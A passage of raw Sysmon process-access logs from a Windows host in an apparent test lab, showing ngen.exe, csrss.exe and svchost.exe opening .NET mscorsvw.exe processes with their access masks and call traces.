12:01:57.900","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00102E950C00}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00102E950C00}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00102E950C00}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00102E950C00}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00102E950C00}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.948\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001052BC0A00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.948","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001052BC0A00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001052BC0A00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001052BC0A00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010D3980C00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010D3980C00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010199D0C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010199D0C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010199D0C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010199D0C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010199D0C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 